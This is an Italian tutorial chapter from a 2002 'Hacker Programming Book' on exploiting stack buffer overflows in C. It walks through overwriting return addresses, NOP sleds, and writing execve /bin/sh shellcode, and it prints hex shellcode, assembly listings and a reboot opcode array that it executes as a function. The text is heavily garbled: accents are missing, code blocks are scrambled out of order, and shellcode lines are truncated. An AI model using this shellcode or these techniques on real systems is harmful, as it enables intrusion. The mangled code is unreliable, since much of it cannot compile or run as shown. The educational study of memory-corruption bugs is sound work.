@71211EE9 @71215C92

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


@712121D8 @71215BE6 Molti linguaggi come ad esempio Visual Basic possiedono allinterno del RUNTIME il controllo dei valori assegnati. In altre parole quando con questo linguaggio si dichiarava una variabile di un certo tipo, stringa ad esempio, in fase dassegnazione il runtime conteggiava la lunghezza del valore passato e in caso di un valore eccessivo veniva mostrata una dialog con la segnalazione dellerrore. Il Linguaggio C questo non lo fa per cui il corretto dimensionamento degli oggetti deve sempre essere eseguito dal programmatore. La cosa tragica che spesso ilo linguaggio C si basa su funzioni di libreria per lesecuzione delle sue funzionalit pi semplici come ad esempio linput da tastiera e la stampa a video. Sono da considerarsi potenzialmente pericolose le seguenti funzioni: gets() sprintf() strcat() strcpy() streadd() strecpy() strtrns() index() fscanf() scanf() sscanf() vsprintf() realpath() getopt() getpass() Chiaramente alcune volte i problemi sono interni alle librerie mentre altre volte i problemi sorgono da fatto che il programmatore non adottata certi sistemi per salvaguardare il sistema. Partendo dal fatto che i problemi dei buffers overflow sono legati alluso di quelle funzioni che non controllano le lunghezze dei dati copiati dentro a dei buffers, lidentificazione dei posti dove teoricamente potrebbe essere forzato uno di questi pu essere eseguito mediante lanalisi fatta con dei disassemblatori dei vari software e DLL che gestiscono i servers. Prendiamo ad esempio lanalisi di una DLL che fa parte del sistema di gestione di IIS. 74D40952 74D40952 loc_74D40952: .text:74D40947j 74D40952 74D40955 74D40957 74D4095D 74D40961 74D40965 74D40968 74D4096E 74D40971 74D40977 74D40977 loc_74D40977: .text:74D40918j 74D40977 74D40977 ; CODE XREF: push push call mov mov mov mov mov mov dword ptr [ebp+8] dword ptr [edi] ds:lstrcpyA ax, [ebp+0Ch] [esi+3Ch], ax eax, [ebp+10h] [esi+8Ch], eax eax, [ebp+14h] [esi+0ACh], eax ; CODE XREF: pop edi ; .text:74D40950j

Qualche anno fa la EEYE, la casa che ha scritto RETINA, bombard IIS con dei dati in qualsiasi posto questo potesse accettare un input. Quello che cervano di ottenere era il crash di questo e di fatto trovarono un punto nel quale IIS si blocc lasciando dentro ai registri i seguenti valori.

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book

EAX ESI EBP

= 00F7FCC8 = 00F7FCC0 = 00F410BC

EBX EDI EFL

= 00F41130 = 00F7FCC0 = 00000246

ECX EIP

= 41414141 = 41414141

EDX ESP

= 77F9485A = 00F4106C

La cosa interessante era legata al registro EIP (linstruction pointer) uguale a 0x41414141 in quanto la sringa che loro avevano usato per bombardare il programma era di fatto una lunghissima sequenza di 0x41. Questo significava che parte del valore inserito nel buffer era andato a sovrascrivere una valore di ritorno per cui era stato ripristinato dentro al registro EIP. Quando un hacker mediante un analisi dei programmi con disassemblatori riesce a trovare una funzione vulnerabile, deve anche guardare bene come la funzione prende linput dal mondo esterno. Gli strumenti per questo tipo di analisi rimangono in primis i disassemblatori ma di fatto anche i debuggers possono essere usati. Alla fine di questo capitolo vedremo anche le metodologie di programmazione che possono salvare dai buffer overflow. Come abbiamo gi visto durante la trattazione del linguaggio, il C non tratta come oggetti quelle che altri linguaggi definiscono con il termine di STRINGHE. Questo significa che sequenze di caratteri vengono viste dal C come se fossero degli arrays di tipi semplici. In altre parole la stringa FLAVIO viene vista come una sequenza di 7 caratteri (6 di lunghezza + 1 NULL di fine stringa). Nellesempio precedente abbiamo visto cosa capita se un valore da una zona di memoria sconfina in un'altra zone relativa a qualche altro oggetto. Ma se questo punto fossimo andati a soprascrivere una zona con allinterno del codice, che cosa sarebbe capitato ? Parlando dellassembler abbiamo visto come di fatto i nostri programmi possono essere visti come sequenze di CODICI OPERATIVI (OPCODE) ciascuno dei quali corrispondono ad un codice di un istruzione assembler relativa al processore. Facciamo un altro esempio. Pendiamo un piccolissimo programma in assembler che svolga qualche funzione. Esiste nel sistema operativo una zona del BIOS che richiamandola, dopo avere settato 1234 nel registro AX, permette di fare il BOOT della macchina. Il seguente programma esegue il reboot del sistema. STI XOR MOV MOV MOV MOV JMP BX,BX DS,BX BX,0472 AX,1234 [BX],AX FFFF:0000

Ora compiliamo il programma con il compilatore Visual C con il flag che permette di creare il sorgente in assembler. Cl Faprova.asm prova.c Andiamo a vedere la traduzione in assembler e ricopiamo i codici operativi in esadecimale di quel codice. 0xFB,0x31,0xDB,0x8E,0xDB,0xBB,0x72,0x04,0xB8, 0x34,0x12,0x89,0x07,0xEA,0x00,0x00,0xFF,0xFF A questo punto facciam0o una prova molto semplice.

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


Mettiamo questi codici dentro ad un array numerico e poi facendogli credere al sistema che quello non lindirizzo di un array di numeri ma lindirizzo dinizio di una funzione proviamo a chiamarla. Sorpresa ! Il codice viene eseguito esattamente come se in effetti fossero istruzioni originarie del programma.

Questo significa che se noi da qualche parte riuscissimo a mettere in memoria i codici operativi di qualche funzionalit questa potrebbe essere tranquillamente eseguita.
unsigned char far array[] = { /* ---- [CODICE DI BOOT.COM] ---0xFB,0x31,0xDB, /* FB STI 0x8E,0xDB,0xBB, /* 31DB XOR BX,BX 0x72,0x04,0xB8, /* 8EDB MOV DS,BX 0x34,0x12,0x89, /* BB7204 MOV BX,0472 0x07,0xEA,0x00, /* B83412 MOV AX,1234 0x00,0xFF,0xFF /* 8907 MOV [BX],AX /* EA0000FFFF JMP FFFF:0000 /* ------------------------------}; void { } Ma come ho gi detto prima, a noi luso dei buffers overflow al fine di interrompere bruscamente un programma non ci interessa in quanto la cosa interessante invece quella legata allesecuzione di codice aggiuntivo il quale potrebbe essere relativo a qualche chiamata a procedure esterne come lattivazione di shell o cose di questo tipo. Per fare questo si deve conoscere bene la struttura dei programmi e in particolare luso dello STACK. Per capire bene questo meccanismo, come abbiamo detto prima, si deve conoscere bene come un processo organizzato in memoria. I processi sono suddivisi in tre regioni e precisamente nel segmento di TEXT o codice, in quello di DATA o dei dati ed infine nel segmento di STACK. La seguente immagine mostra i segmenti visti con un analizzatore di PE di programma. main(void) void (far *funct)() = (void(far *)()) array; (*funct)();

*/ */ */ */ */ */ */ */ */

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


La definizione di questi segmenti stato visto nel capitolo legato alla programmazione assembler ma in ogni caso possiamo rinfrescare le idee ripetendo che questo destinato a contenere il codice dei programmi ovvero le istruzioni.. I segmenti di DATA possono contenere dati inizializzati prima e poi quelli non inizializzati. In questa regione vengono salvate le variabili statiche.

Parte bassa memoria Codice (TEXT) Dati inizializzati Dati non inizializzati Stack

Parte alta memoria

Il concetto fondamentale comunque rimane quello dello stack il quale, volendo ripetere al definizione, uno dei concetti fondamentali dellinformatica. Teoricamente un tipo doggetto utilizzato per memorizzare dei valori in cui lultimo valore inserito sar il primo ad uscire. Nel capitolo legato allassembler lo abbiamo paragonato allo spunzone delle consumazioni del barista nel quale il primo biglietto a essere inserito sar anche lultimo ad essere estratto. Il termine per definire questo tipo di gestione LIFO ovvero LAST INPUT FIRST OUTPUT. In termine di programmi invece lo stack un segmento utilizzato per la memorizzazione delle variabili locali e per il contenimento dei valori di ritorno legati alle chiamate delle funzioni. Quando una funzione viene chiamata il valore dellindirizzo di dove questa avvenuta viene inserita nello stack e successivamente il registro EIP viene aggiornato con lindirizzo di dove il programma deve saltare. Successivamente quando la funzione viene terminata il valore viene prelevato dallo stack e viene ripristinato. Le istruzioni assembler che permettono di inserire ed estrarre valori dallo stack sono PUSH e POP. I computer moderni sono concepiti tenendo a mente i linguaggi di programmazione ad alto livello, al contrario dei sistemi di molti anni fa che avevano lassembler come linguaggio fondamentale. Questi tipi di linguaggi contemplano nei concetti di procedura o funzione le strutture fondamentali per le loro gestioni. Come abbiamo appena detto la gestione dei flussi desecuzione quando esistono chiamate a funzioni pretendono che i valori di ritorno dopo le chiamate vengano memorizzati da qualche parte. Lo stack abbiamo appunto detto che la zona di memoria ideale per tali gestioni. Lo stack fisicamente deve essere concepito come un blocco di memoria in cui i bytes sono consecutivi. Allinterno del processore esistono due registri il cuoi scopo appunto quello legato al corretto funzionamento dello stack. Ogni volta che avviene una chiamata ad una funzione lindirizzo di ritorno viene PUSH-ato nello stack mentre tutte le volte che si presenta un istruzione di RET-urn da una di queste il valore viene POP-ato. Il registro SP generalmente punta allultimo indirizzo dello stack e pi precisamente sul primo bytes libero dopo di questo. Il seguente programmino server a stampare sp semplicemente copiandolo dentro al registro EAX allinterno della funzione sp().

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


Vi ricorderete che le funzioni restituiscono il valore di ritorno mediante il registro AX. unsigned long sp(void) { __asm__("movl %esp, %eax"); } void main(void) { printf("0x%x\n", sp()); } Un programma che pu essere usato per calcolare la posizione dello stack quello che segue:
/**************************************************************************/ /* Calculate the stack pointer value for this program. Since it doesn't */ /* vary very much from one program to another inside the same shell, the */ /* returned value can be used with a good accuracy. The output is in a */ /* binary format so that it can be concatenated to another string */ /* containing a portion of code. Warning !! The value returned mustn't */ /* have any of its 4 bytes set to 0, or it will be an 'end of string'. */ /* You can play with argv to subtract a value to the stack before giving */ /* it to stdout. */ /* */ /* Willy */ /**************************************************************************/ #include <stdio.h> static inline getesp() { __asm__(" movl %esp,%eax "); } main (int argc, char **argv) { long unsigned esp; int decal=0; if (argc>1) decal=atoi(argv[1]); esp=getesp()-decal; fwrite(&esp,4,1,stdout); fwrite(&esp,4,1,stdout); }

Alcuni tipi di processori oltre a possedere questo registro considerano conveniente possedere un FRAME POINTER (FP) utilizzato per puntare ad una locazione fissa allinterno di un frame. La prima cosa che una procedura deve fare quando viene chiamata salvare il valore del precedente FP e quindi salvare dentro a questo il valore di SP in modo da creare un nuovo FRAME POINTER e quindi salvare SP in modo di riservare spazio per le variabili locali. Questo codice definito con il termine di PROCEDURE PROLOG. Quando una procedura termina o esce lo stack deve essere pulito nuovamente tramite un altro codice chiamato PROCEDURE EPILOG. Nel caso dei processori INTEL questo viene fatto dalle istruzioni assembler ENTER e LEAVE mentre nei processori MOTOROLA da quelle LINK e UNLINK. Creiamo il seguente programma : void { } void main(void) { funzione(int a, int b, int c) char buffer1[5]; char buffer2[10];

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


funzione(1,2,3);

Compiliamo ora sotto Linux con : gcc S o nome_esempio..s nome_esempio.c Andando a vedere con gdb , il debugger, la traslazione fatta in assembler ci troveremo davanti a : pushl pushl pushl call $3 $2 $1 funzione

Come potete vedere i tre PUSH inseriscono nello stack i parametri passati alla funzione chiamata nella linea successiva la quale, quando ricever il controllo, estrarr i tre vaolori dallo stack e li user nella sua procedura.
Questa funzionalit viene eseguita dal seguente prologo della procedura : pushl %ebp movl %esp, %ebp subl $20, %esp Quseto prologo inserisce nello stack il frame pointer, quindi copia il contenuto del registro SP allinterno di EBP, facendolo diventare il nuovo frame pointer. Listruzione che sottrae 20 (x14) a ESP relativa al fatto di riservare spazio per le variabili locali ovvero quelle relative ai due buffer. Ricordiamoci che la memoria pu essere indirizzata usando multipli della dimensione di una WORD. Una WORD nel nostro caso 32 bits ovvero 4 BYTES. Questo significa che lallocazione richiesta per il buffer con dimensione 5 (buffer1[5]) occuper di fatto 8 BYTES (2 WORDS) mentre il secondo buffer di 10 elementi (buffer2[10]) ne occuper in verit 12 BYTES (3 WORDS). Questa la motivazione del perch del 20 come dimensione sottratta a SP. Tenendo in mente questo ecco a cosa sembrer il nostro STACK quando la funzione verr chiamata. Parte bassa della cima della memoria
memoria buffer2 <------[ ] [ cima della parte bassa dello stack buffer1 ] sfp [ ret a ] [ ][ b ][ ][ c ]

stack Un buffer overflow avviene quando in una zona di memoria viene memorizzati pi dati di quanti questa potrebbe contenere. Come possibile sfruttare questi errori di programmazione per fare eseguire del codice arbitrario ? Vediamo un altro esempio scritto in C. void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++)

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


large_string[i] = 'A'; function(large_string); } Come potete vedere in questo esempio esiste un classico buffer overflow dovuto al fatto che la dimensione del buffer passato alla function() di fatto lunga 256 bytes mentre il buffer dove questo argomento viene passato soltanto 16 bytes. La funzione usata per copiare str in buffer quella di libreria del C strcpy() la quale non controlla la dimensione della destinazione. Se al suo posto fosse stata usata strncpy() si sarebbe potuto specificare come argomento della funzione di copia la dimensione. Vediamo cosa vede lo stack quando viene chiamata la funzione. BUFFER sfp ret *str

Come saprete la funzione strcpy() copia senza controllare fino a quando viene trovato il carattere NULL di fine stringa. Come abbiamo gi detto il buffer di destinazione circa 250 bytes pi piccola della sorgente e questo significa che questo numero di bytes dopo lo spazio del buffer verranno sovrascritti. Come potete vedere dallo schema tra i valori su cui si va a scrivere ce anche il valore di ritorno (ret) dopo la chiamata alla funzione. Dato che il buffer di partenza contiene delle lettere A uguali al numero esadecimale 0x41 significa che il valore di ritorno della funzione dopo il buffer overflow varr 0x41414141 Questo indirizzo al di fuori dello spazio del programma ed per questo motivo che quando il programma ritorner e cercher di leggere la successiva istruzione da eseguire avrete come segnalazione un segmentation violation. In ogni caso lesempio ci mostra come potremmo cambiare volontariamente lindirizzo di ritorno di una funzione indirizzando il tutto a qualche parte di codice nostro. Ora facciamo la prova per provare quanto detto. Rivediamo ora come lo stack vedeva la memoria del nostro primo esempio e come di fatto possibile fare in modo che il programma esegua del codice arbitrariamente. buffer2 buffer1 sfp ret a b c

Prima di buffer1 c il valore sfp mentre il valore di ritorno e appunto subito prima di questo. In altre parole questultimo 4 bytes dopo il buffer1. Ricordiamoci che buffer1 di fatto 8 bytes e non 5 e quindi lindirizzo di ritorno dopo 12 BYTES dallinizio di buffer1. Ora scriveremo una funzione come segue : void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 8; } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x);

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


} Ora compiliamo il tutto in ambiente Linux con : gcc S esempio.s esempio.c Guardando dentro alla funzione main() vediamo che se il programma seguisse il flusso normale lultimo printf() stamperebbe a video il valore di X ovvero 1. Questo capiterebbe se dopo avere chiamato la funzione questa ritornasse sullistruzione successiva ovvero quella che assegna ad x il valore 1. Ora se volessimo fare in modo che lindirizzo di ritorno salti lassegnazione x = 1 dovremo disassemblare con il disassemblatore relativo allambiente dove state facendo le prove. Usando GDB avremo : function main: 0x8000490 <main>: pushl %ebp 0x8000491 <main+1>: movl %esp,%ebp 0x8000493 <main+3>: subl $0x4,%esp 0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp) 0x800049d <main+13>: pushl $0x3 0x800049f <main+15>: pushl $0x2 0x80004a1 <main+17>: pushl $0x1 0x80004a3 <main+19>: call 0x8000470 <function> 0x80004a8 <main+24>: addl $0xc,%esp 0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp) 0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax 0x80004b5 <main+37>: pushl %eax 0x80004b6 <main+38>: pushl $0x80004f8 0x80004bb <main+43>: call 0x8000378 <printf> 0x80004c0 <main+48>: addl $0x8,%esp 0x80004c3 <main+51>: movl %ebp,%esp 0x80004c5 <main+53>: popl %ebp 0x80004c6 <main+54>: ret 0x80004c7 <main+55>: nop Nel caso del disassemblato sotto Linux il valore di ritorno originale 0x8004a8 mentre quello che vogliamo settare e 0x8004b2. Il settaggio di questo valore dovuto al fatto che vogliamo saltare lesecuzione dellassegnazione e quindi saltare 8 bytes dopo quello che sarebbe stato il valore normale. ret = buffer1 + 12; (*ret) += 8; Le due istruzioni precedenti sono quelle che vanno a cambiare lindirizzo di ritorno. Quello che stato fatto fino ad ora aveva come scopo quello di dimostrare come possibile modificare il flusso di un programma mediante un operazione di soprascrittura di un valore dentro allo stack. Un esempio che mostra come possibile cambiare un valore di ritorno di ujna funzione allinterno dello stack quello che segue. #include <stdio.h> void { funzione2(void)

printf("\nQuesta funzione non la chiama nessuno direttamente!"); exit(0); } void { funzione1(int b)

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


printf("\nAddr b=%04x", (unsigned int) &b); (*((unsigned int *)((unsigned int)&b)+2)) = (unsigned int) &funzione2; } void main() { funzione1(0); } Come potete vedere la funzione2() non la chiama nessuno eppure questa viene eseguita in quanto la variabile b allinterno della prima funzione viene utilizzata come riferimento per andare a sostituire lindirizzo di ritorno. Ora vediamo di modificare la funzione in modo tale che il metodo di fatto sia simile a quello che generalmente viene utilizzato. Supponiamo che il buffer b che deve ricevere un valore sia di 10 caratteri. Qundi sarebbe cosa normale copiare dentro al buffer una stringa del tipo b[0123456789][addr] abcdefghi\0 Ora supponiamo di volerci inserire alla fine dei 10 caratteri lindirizzo della funzione2(). Questo sconfinerebbe nello stack dentro a quello spazio in cui memorizzato lindirizzo di ritorno. b[0123456789][addr] abcdefghi\0 1234 dove 1234 specifica lindirizzo della funzione2(). Nella variabile buffer mettiamo i caratteri accettati e alla fine ci mettiamo lindirizzo di funzione2 e successivamente copiamo dentro alla variabile b[] il buffer. #include <stdio.h> char buffer[24]; void { } void { funzione1(void) char b[10]; sprintf(buffer, "abcdefghi%d",(unsigned int) &funzione2); printf(\nIl buffer contiene : %s, buffer); strcpy(b, buffer); // Ora copiamo sconfinando } void main() { funzione1(); } Chiaramente in questo caso lassegnazione del valore avviene mediante operazione diretta ma se ci fosse stata la possibilit di avere un riferimento di memoria ci si sarebbe potuto riempire con dei NULL o altri valori fino al punto in cui poi di fatto sarebbe proseguito il programma. funzione2(void) printf("\nQuesta funzione non la chiama nessuno direttamente"); exit(0);

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book

[ ... NOP NOP NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET RET RET ] FATE ATTENZIONE : Il metodo di inserire dei NOP essenziale in quanto come vedremo, identificare lindirizzo di dove fare eseguire il tutto complesso. Luso dei NOP server a semplificare il tutto. Le tecniche di buffer overflow in ogni caso non cambiano solo il flusso ma aggiungono anche del codice espresso come codici operativi esadecimali. Sempre al fine di semplificare lesempio rimaniamo sempre in ambiente Linux dove per attivare una shell da un programma in linguaggio c sufficiente chiamare un istruzione execve() passandogli come argomento la stringa /bin/sh. In altre parole un programma in linguaggio C adatto ad aprire una shell potrebbe essere il seguente: #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } Vi consiglio in ogni caso di andare a vedere : http://www.hack.co.za/shellcode/linux-x86/execve_binsh.c Un esempio in assembler molto corto : mov ecx,esp xor eax,eax push eax lea ebx,[esp-7] add esp,12 push eax push ebx mov edx,ecx mov al,11 int 0x80 Vedre,mo successivamente che spesso a causa delle microscopiche dimensioni dei buffer pi piccolo il programma di shell meglio . In ogni caso uno shell code visto in esadecimale potrebbe essere quello che segue: char lunixshell[] = "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\x$ "\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\x$ "\x80\xe8\xde\xff\xff\xff/bin/sh"; Compilando il codice precedente e guardando I codici operativi relativi alla parte da inserire in memoria avremmo la seguente visione dello stack considerando anche il fatto di assumere che questo parta da 0xFF e che la lettera S rappresenti appunto il codice:
bottom of memory <-----top of stack DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF buffer sfp ret a b c [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________| top of memory

bottom of stack

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book

La compilazione del programmino deve essere eseguita mediante il flag static in modo da poter usare il debugger gdb per poter vedere il codice disassemblato. $ gcc -o shellcode -ggdb -static shellcode.c $ gdb shellcode Il programma utilizza la funzione di libreria execve e dato che stiamo usando delle librerie dinamiche questa non viene piazzata direttamente allinterno del nostro programma. La compilazione mediante la specifica static quello che fa per noi. Disassemblando con gdb ritroviamo il seguente programma in assembler : 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 0x8000144 <main+20>: pushl $0x0 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 0x8000149 <main+25>: pushl %eax 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 0x800014d <main+29>: pushl %eax 0x800014e <main+30>: call 0x80002bc <__execve> 0x8000153 <main+35>: addl $0xc,%esp 0x8000156 <main+38>: movl %ebp,%esp 0x8000158 <main+40>: popl %ebp 0x8000159 <main+41>: ret (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. La parte costituita da 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


quella che abbiamo definito precedentemente con il termine di PROCEDURE PRELUDE il quale riserva lo spazio per le variabili locali, in questo caso char *name[2] I puntatori sono di lunghezza pari a una WORD per cui le dimensioni delle due WORD sono 8 BYTES. 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) Listruzione precedente invece copia lindirizzo della stringa /bin/sh nel primo puntatore. Listruzione lequivalente di : name[0] = "/bin/sh"; 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)

A questo punto copiano il valore 0x0 (NULL) dentro al secondo puntatore di name[] il che sarebbe uguale a : name[1] = NULL; La chiamata a execve() inizia qui. 0x8000144 <main+20>: pushl $0x0 A questo punto iniziamo ad eseguire il push degli argomenti nello stack in ordine inverso. Partiamo con il NULL. 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax

Ora leggiamo lindirizzo di name[] dentro al registro EAX. 0x8000149 <main+25>: pushl %eax

Eseguiamo il push dellindirizzo di name[] nello stack. 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax

Leggiamo lindirizzo della stringa "/bin/sh" nel registro EAX. 0x800014d <main+29>: pushl %eax

Ora inseriamo nello stack lindirizzo della stringa "/bin/sh".. 0x800014e <main+30>: call 0x80002bc <__execve>

Chiamiamo la funzione execve(). Ricordiamoci che la chiamata ad una funzione fa si che il sistema memorizzi nello stack il valore di IP. Ricordiamoci che siamo in un ambiente Linux su piattaforma Intel per cui i dettagli della syscall varia da OS a OS, e da CPU a CPU. Alcune passano gli argomenti nello stack mentre altri nel registro. Lo stack inizia per ogni programma allo stesso indirizzo. Aluni usano un interrupt software per saltare nella modalit kernel mentre altri usano una call far. Linux passa I suoi argomenti alla chiamata di sistema attraverso il registro ed utilizza un interrupt software per saltare nella modalit kernel. Il discorso labbiamo fatto nei capitoli in cui parlavamo della programmazione in questo ambiente a cui vi rimando per chiarirvi le idee rispetto alle syscall.

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


Allinterno di /usr/include/asm/unistd.h esiste la lista delle syscall anche se di fatto a noi interessa solo comprendere che in questo caso la execve chiama la syscall e successivamente l int 0x80. Tra poche linee vedremo che il numero della syscall uguale a #define __NR_execve 11

verr passato tramite il registro %eax 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx Il preludio dela procedura : 0x80002c0 <__execve+4>: movl $0xb,%eax Copiamo 0xb (11 decimale) nello stack. Questo lindice allinterno della tabella delle syscall o chiamate di sistema di cui appunto la execve la numero 11. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx Copiamo lindirizzo di "/bin/sh" in EBX. 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

Copiamo lndirizzo di name[] in ECX. 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx

Copiamo lindirizzo del null pointer in %edx. 0x80002ce <__execve+18>: int $0x80

A questo punto ci troviamo di fronte ad un grosso problema. Partiamo dal presupposto che noi questi buffer overflow quasi sicuramente li dovremo inserire da qualche parte dove il programma che intendiamo colpire gestisce linput tramite qualche stringa del Linguaggio C. Il carattere \0 o 0 viene considerato dal linguaggio come carattere di fine stringa per cui allinterno della stringa che passeremo al software non dovranno esserci degli 0 se no il resto del buffer non verr processato. Ma dopo questa parentesi cosa ci troviamo davanti ? Diamo un attimo un occhiata agli OPCODE dellistruzione movl $0xb,%eax. 0x80002c0 b8 0b 00 00 00 movl $0xb,%eax

potremmo risolvere il problema usando la seguente metodologia : xorl %eax, %eax movb $0x0b, %al Cosa abbiamo fatto ? Semplicemente abbiamo ripulito EAX e assegnato solo la parte bassa. Ora cambiamo la modalit del kernel mediante la chiamata a int 0x80. La funzione execve chiama int 0x80 utilizzando i registri per il passaggio degli argomenti usando il metodo classico degli interrupts.

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


Tutto quello che dobbiamo fare questo :
Avere la stringa terminata con un nulll "/bin/sh" da qualche parte in memoria Avere lindirizzo della stringa "/bin/sh" da qualche parte in memoria seguita da una word contenente un null. Copiare 0xb nel registro EAX . Copiare lindirizzo della sringa "/bin/sh" nel registro EBX. Copiare lindirizzo della sringa "/bin/sh" in ECX. Copiare lindirizzo della long word con null in EDX. Eseguire listruzione int $0x80.

Ma cosa capita se la chiamata a execve() fallisce per qualche ragione? Il programma continua andando a prendere le istruzioni dallo stack, il quale potrebbe contenere dei dati random. Il programma probabilmente eseguir un core dump. Noi per vorremmo che il programma esca in modo pulito se la chiamata a execve falisse.. Per fare questo dovremo aggiungere una syscall exit dopo a chiamata di sistema execve Che cosa farebbe una exit in questo caso ?
exit.c #include <stdlib.h> void main() { exit(0); } [aleph1]$ gcc -o exit -static exit.c [aleph1]$ gdb exit GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx 0x8000358 <_exit+12>: int $0x80 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump.

La chiamata di sistema exit mette 0x1 in EAX, mette il codice duscita EBX, ed esegue una chiamata a "int 0x80". Molte applicazioni ritornano 0 in uscita per dire che non ci sono stati errori. Mettiamo 0 in EBX. La nosra lista di operazioni da eseguire sono ora : Avere una stringa terminata con NULL "/bin/sh" da qualche parte in memoria. Avere lindirizzo della stringa "/bin/sh" da qualche parte in memoria seguito da una long word con null. Copiare 0xb in EAX.

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


Copiarelindirizzo della stringa "/bin/sh" nel registro EBX. Copiare lindirizzodella stringa "/bin/sh" in ECX. Copiare lindirizzo dela long word con null in EDX. Eseguirelitrsuzione int $0x80. Copiare 0x1 in EAX. Copiare 0x0 in EBX. Eseguire listruzione int $0x80. Per fare questo in linguaggio assembler, piazzando la stringa dopo il codice, e ricordandosi dove stato messo lindirizzo, e una null word dopo larray, avremmo: movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh deve essere messa qui Il problema relativo alla scrittura di questo esempio di buffer overflow che non possiamo conoscere dove verr inserita allinterno della memoria, del programma che intendiamo explottare, la stringa relativa alla chiamata della shell . Un metodo per superare il problema quello di usare un JMP o una CALL le queli possiedono come vantaggio quello di accettare anche indirizzi relativi specificati ad esempio mediante linstruction pointer register (IP). Se piazzassimo la call immediatamente prima della stringa "/bin/sh" in modo tale che lindirizzo di questa venga salvata nello stack come valore di ritorno, e un JMP a questa istruzione, lindirizzo della stringa verrebbe pushata nello stack come indirizzo di ritorno qaqndo la call viene eseguita. Tutto quello di cui abbiamo bisogno di copiare lindirizzo di 